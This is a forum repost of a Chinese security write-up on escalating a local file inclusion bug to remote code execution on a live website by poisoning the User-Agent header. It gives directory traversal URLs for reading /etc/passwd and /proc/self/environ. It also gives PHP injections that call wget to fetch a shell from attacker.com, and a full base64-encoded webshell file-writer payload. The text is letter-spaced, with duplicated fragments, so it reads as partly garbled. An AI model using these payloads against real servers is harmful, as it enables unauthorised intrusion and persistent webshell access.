搜索

[16113] 2020-11-20_安全研究构造User-Agent请求头内容实现LFI到RCE提权

文档创建者：s7ckTeam
浏览次数：38
最后更新：2025-01-18
2020-11-20_安全研究构造User-Agent请求头内容实现LFI到RCE提权 安 全 研 究   |   构 造 U s e r - A g e n t 请 求 头 内 容 实 现 L F I 到 R C E 提 权 c l o u d s   F r e e B u f   2 0 2 0 - 1 1 - 2 0 本 文 分 享 的 本 文 分 享 的 W r i t e u p 是 作 者 近 期 针 对 某 是 作 者 近 期 针 对 某 2 0 0 0 0 + 用 户 网 站 ， 通 过 对 请 求 用 户 网 站 ， 通 过 对 请 求 U s e r - A g e n t 内 容 构 造 ， 成 功 实 现 从 本 地 文 件 包 含 漏 洞 （ 内 容 构 造 ， 成 功 实 现 从 本 地 文 件 包 含 漏 洞 （ L F I ） 到 远 程 代 码 执 行 漏 洞 （ ） 到 远 程 代 码 执 行 漏 洞 （ R C E ） 的 提 权 。 ） 的 提 权 。 发 现 发 现 L F I 漏 洞 漏 洞 以 下 为 目 标 网 站 的 C o n t a c t   U s 链 接 路 径 ： h t t p s : / / w w w . w e b s i t e . c o m / i n d e x . p h p ? p g = c o n t a c t . p h p 经 过 对 p g 参 数 的 f u z z ， 我 发 现 其 中 存 在 L F I 漏 洞 ， 可 以 用 . . / . . / . . / . . / e t c / p a s s w d 直 接 读 出 系 统 密 码 信 息 ： h t t p s : / / w w w . w e b s i t e . c o m / i n d e x . p h p ? p g = . . / . . / . . / . . / e t c / p a s s w d 从 从 L F I 到 到 R C E 要 想 把 L F I 提 权 到 R C E ,   我 又 发 现 另 一 个 可 读 路 径 / p r o c / s e l f / e n v i r o n ， 于 是 我 有 了 以 下 构 造 ： h t t p s : / / w w w . w e b s i t e . c o m / i n d e x . p h p ? p g = . . / . . / . . / . . / p r o c / s e l f / e n v i r o n 很 好 ， 从 其 输 出 中 可 以 看 到 ， 其 中 包 含 了 如 H T T P _ U S E R _ A G E N T 等 一 些 环 境 变 量 参 数 ： 不 错 ， 开 启 B u r p S u i t e ， 用 s y s t e m ( ) 方 法 更 改 请 求 中 的 U s e r - A g e n t 值 ： U s e r - A g e n t :   < ? s y s t e m ( ‘ w g e t   h t t p : / / a t t a c k e r . c o m / s h e l l . t x t   - O   s h e l l . p h p ’ ) ; ? >
不 行 ， 无 效 。 再 试 试 e x e c ( ) 方 法 ： U s e r - A g e n t :   < ? e x e c ( ‘ w g e t   h t t p : / / a t t a c k e r . c o m / s h e l l . t x t   - O   s h e l l . p h p ’ ) ; ? > 也 是 不 行 ， 无 效 。 那 用 p h p i n i t ( ) 试 试 ： U s e r - A g e n t :   < ? p h p   p h p i n f o ( ) ;   ? > 折 腾 了 一 阵 后 ， 我 差 点 忘 了 我 是 可 以 向 目 标 网 站 服 务 器 写 东 西 的 啊 ， 于 是 我 就 又 在 U s e r - A g e n t 头 中 构 造 了 以 下 P a y l o a d ： 解 释 上 述 构 造 的 解 释 上 述 构 造 的 P a y l o a d 上 述 构 造 使 用 的 最 终 P a y l o a d 是 一 个 b a s e 6 4 编 码 的 w e b s h e l l ， 原 代 码 文 件 存 在 于 G i t h u b 库 中 - h t t p s : / / g i t h u b . c o m / a l i t a - i d o / P H P - F i l e - W r i t e r / b l o b / m a s t e r / l f i - w r i t e r . p h p ， 其 大 概 造 型 为 ： $ a   =   b a s e 6 4 _ d e c o d e ( ‘ w e b s h e l l _ b a s e 6 4 _ e n c o d e d _ c o d e _ h e r e ’ ) ; 然 后 我 们 向 服 务 器 中 写 入 了 一 个 名 为 n a d e s h o t . p h p 的 文 件 ： $ f i l e   =   f o p e n ( ‘ n a d e s h o t . p h p ’ , ’ w ’ ) ; 然 后 服 务 器 会 把 b a s e 6 4 编 码 的 上 述 文 件 写 入 n a d e s h o t . p h p 文 件 ： e c h o   f w r i t e ( $ f i l e , $ a ) ; 再 保 存 文 件 ： f c l o s e ( $ f i l e ) ; 上 述 请 求 P a y l o a d 执 行 后 的 B u r p S u i t e 动 作 如 下 ： 响 应 成 功 。 希 望 我 们 的 W e b s h e l l 可 以 成 功 ， 访 问 h t t p s : / / w e b s i t e . c o m / n a d e s h o t . p h p 试 试 看 ： W e b s h e l l 写 入 成 功 ， 保 存 为 了 n a d e s h o t . p h p ， 太 好 了 ， 我 们 再 接 着 往 里 写 入 n a d e s h o t . t x t 文 件 试 试 ： 然 后 访 问 h t t p s : / / w e b s i t e . c o m / n a d e s h o t . t x t ， 一 样 有 效 ： 就 这 样 ， 成 功 实 现 了 从 L F I 到 R C E 的 提 权 。 参 考 来 源 ： 参 考 来 源 ： m e d i u m 精 彩 推 荐 精 彩 推 荐 U s e r - A g e n t :   < ? p h p   $ a   =   b a s e 6 4 _ d e c o d e ( ' P D 9 w a H A g C i A g J G E g P S A k X 1 B P U 1 R b J 2 N v Z G U n X T s K I C A k Z m l s Z S A 9 I E B m b 3 B l b i g k X 1 B P U 1 R b J 2 Z p b G U n X S w n d y c p O w o g I E B m d 3 J p d G U o J G Z p b G U s J G E p O w o g I E B m Y 2 x v c 2 U o J G Z p b G U p O w o / P g o 8 Y 2 V u d G V y P g o g I D x m b 3 J t I G 1 l d G h v Z D 0 i c G 9 z d C I g a W Q 9 I m Z v c m 0 i P g o g I C A g P G g y P k Z p b G U g V 3 J p d G V y P C 9 o M j 4 K I C A g I E Z p b G U g T m F t Z T x i c j 4 8 a W 5 w d X Q g d H l w Z T 0 i d G V 4 d C I g b m F t Z T 0 i Z m l s Z S I g c G x h Y 2 V o b 2 x k Z X I 9 I n N o Z W x s L n B o c C I + P G J y P g o g I C A g U 2 h l b G w g Q 2 9 k Z T x i c j 4 8 d G V 4 d G F y Z W E g b m F t Z T 0 i Y 2 9 k Z S I g Z m   9 y b T 0 i Z m   9 y b S I g c G x h Y 2 V o b 2 x k Z X I 9 I l B h c 3 R l I H l v d X I g c 2 h l b G w g a G V y Z S I + P C 9 0 Z X h 0 Y X J l Y T 4 8 Y n I + C i A g I C A 8 a W 5 w d X Q g d H l w Z T 0 i c 3 V i b W l 0 I i B 2 Y W x 1 Z T 0 i V 3 J p d G U i P g o g I D w v Z m   9 y b T 4 K P C 9 j Z W 5 0 Z X I + C g = = '
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理